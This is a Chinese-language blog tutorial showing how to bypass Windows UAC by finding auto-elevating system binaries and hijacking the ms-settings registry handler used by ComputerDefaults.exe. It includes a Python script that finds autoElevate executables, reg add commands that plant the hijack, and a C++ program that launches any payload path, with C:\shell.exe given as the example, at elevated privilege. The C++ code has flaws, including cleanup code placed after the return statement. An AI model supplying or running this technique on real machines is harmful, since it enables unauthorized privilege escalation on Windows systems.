参考 Bypass UAC 原来这么简单
本章记录一下系统白名单文件结合注册表bypassuac,uac这个东西并不是Windows设置的防御机制而是相当于保护机制,只是用来控制用户行为的,弹个窗来提醒一下用户的行为,和直接的杀软是不一样的性质,所以uac有多种方式绕过比如系统白名单、DLL 劫持绕过、COM 劫持绕过、利用系统漏洞绕过甚至如果直接提权到高权限也相当于直接绕过了uac
在Windows中普通用户也可以以管理员权限运行程序,在拿到一个普通用户的权限需要执行一些系统操作,比如添加一个用户,运行一个需要管理员权限才能运行的程序等等都会弹出uac控制来提示是否以管理员权限执行,这个时候要么提升权限要么就只能uac绕过。
另外在域中的uac更加严格,需要输入管理员的账号密码才可以继续运行
白名单的挖掘
序需要满足以下几个条件:
1. 程序的manifest标识的配置属性 autoElevate 为 true
2. 程序不弹出UAC弹窗
3. 从注册表里查询Shell\Open\command键值对
程序的autoElevate如果设置为true就代表他可以直接以管理员权限静默执行,毕竟在Windows系统中不可能每个程序都弹uac吧还是有静默的,条件就这个要设置为true,但是这个被设置为了true不代表一定就不会弹uac!
第一个条件可以使用微软官方的工具sigcheck64.exe来查找,我们要找一个白名单程序肯定是每个电脑上都会存在的才可以,所以重点寻找系统的那么几个文件比如Windows文件夹
sigcheck64.exe工具使用
一个白程序的 autoElevate 为 true
这里可以使用一个脚本来查找所有白名单(第一次使用会有个要求同意的的gui界面,必须要先运行一遍sigcheck64.exe工具才能使用脚本)
import os
from subprocess import Popen, PIPEpath = 'c:\\windows\\system32'def GetFileList(path, fileList):if os.path.isfile(path):if path[-4:].lower() == '.exe':fileList.append(path)elif os.path.isdir(path):try:for s in os.listdir(path):newDir = os.path.join(path, s)GetFileList(newDir, fileList)except Exception as e:print(e)return fileListfiles = GetFileList(path, [])
print(files)for eachFile in files:try:command = r'.\sigcheck64.exe -m "{}" | findstr auto'.format(eachFile)print(command)p1 = Popen(command, shell=True, stdout=PIPE)output = p1.stdout.read().decode('utf-8') # 假设输出是utf-8编码if '<autoElevate>true</autoElevate>' in output:copy_command = r'copy "{}" .\success'.format(eachFile)Popen(copy_command, shell=True)print('[+] {}'.format(eachFile))with open('success.txt', 'a') as f: # 每次循环都以追加模式打开文件f.write('{}\n'.format(eachFile))except Exception as e:print(e)# 注意:确保sigcheck64.exe工具在当前目录,并且有权限执行这些命令。
结果保存在success.txt中
下一个条件是程序不弹出UAC弹窗
这里我们就以ComputerDefaults.exe为演示,这个程序是不会弹uac的可以试一试
win +r 直接运行这个程序
发现是没有弹窗符合条件
第三个条件是从注册表里查询Shell\Open\command键值对
注册表操作监控
这里使用ProcessMonitor的Procmon64.exe 工具进行监视程序的行为
这里添加了两条规则一个是ComputerDefaults.exe进程的监视一个是注册表的操作监视
主要是看注册表的操作
运行一下程序所有的注册表操作都监控到了,然后搜索一下我们想要的那个Shell\Open\Command行为是否存在
找到了说明有这个行为,符合条件,这就是我们要的白名单程序
另外可以看到这里有个result是一个 NAME NOT FOUND,这个结果是更好的,说明他去查询的键值对是不存在的可以自己增加修改,如果是success说明以及被写好了,你去修改可能会出其他的问题啥的影响程序运行。
去注册表里看一下 win +r regedit
看HKCU\Software\Classes\ms-settings\Shell\Open\Command 路径是否存在,不存在就手动添加,另外就是HKCU的路径是我们可以修改的,HKUR需要高权限才能修改。一般我们要绕过uac说明我们的权限并不高,如果去查询的路径是在HKUR那就可以换一个程序研究了
查询发现不存在ms-settings的目录
那么我们就创建这些项
这里手动修改这里的值为cmd.exe啥的会被Windows的defender直接拦截。。。
直接修改为calc.exe
但是重新运行ComputerDefaults 并没有弹出计算器,重新查看一下监控
这里将过滤规则中的reg那个删除只保留processname的
可以看到Shell\Open\Command 结果是success说明我们写的成功了,但是后面还有个HKCU\Software\Classes\ms-settings\Shell\Open\Command\DelegateExecute是NAME NOT FOUND 这里也要修改,让这里也通行
那么就是新建一个DelegateExecute字符串
修改后再次打开ComputerDefaults 成功的打开了我们的calc
手动的演示完毕了实际也是可以使用命令或者代码实现的
命令方式
# 添加
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /t REG_SZ /d "calc.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
# 复原
reg delete HKCU\Software\Classes\ms-settings /f
代码生成
#include <iostream>
#include <Windows.h>
#include "tchar.h"DWORD BypassUAC(LPWSTR filePath){PROCESS_INFORMATION pi = { 0 };STARTUPINFOA si = { 0 };HKEY hKey;si.cb = sizeof(STARTUPINFO);si.wShowWindow = SW_HIDE;DWORD dwDisposition;if (filePath == NULL){printf("[!] FilePath is null, please try again!\n");exit(1);}else {printf("\n");printf("[*] Get filePath success , the filePath is : %ws\n", filePath);}// 创建注册表项if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey)){printf("[!] Create regedit failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create regedit successfully!\n");}// 设置注册表值if (ERROR_SUCCESS != ::RegSetValueExW(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenW(filePath) + 1024))){printf("[!] Create exe_key-value failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create exe_key-value successfully!\n");}// 设置 DelegateExecute 的值为空if (ERROR_SUCCESS != RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""))){printf("[!] Create delete_key-value failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create delete_key-value successfully!\n");}// 使用 cmd.exe 来执行 ComputerDefaults.exeif (NULL == CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)){printf("[!] Create Process failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create Process successfully!\n");}return TRUE;Sleep(3000);if (ERROR_SUCCESS != ::RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings")){printf("[!] Delete regedit failed, error is : %d\n", GetLastError());}else {printf("[*] Delete regedit successfully!\n");}
}int main(int argc, wchar_t* argv[]){if (argc != 2){printf("UAC.exe <filepath>\n");printf("UAC.exe C:\\shell.exe");}else {LPWSTR filePath = argv[1];BypassUAC(filePath);}return 0;
}
不过此程序已近是被Windows监控了,执行cmd.exe啥的估计不行,不过思路是这个思路。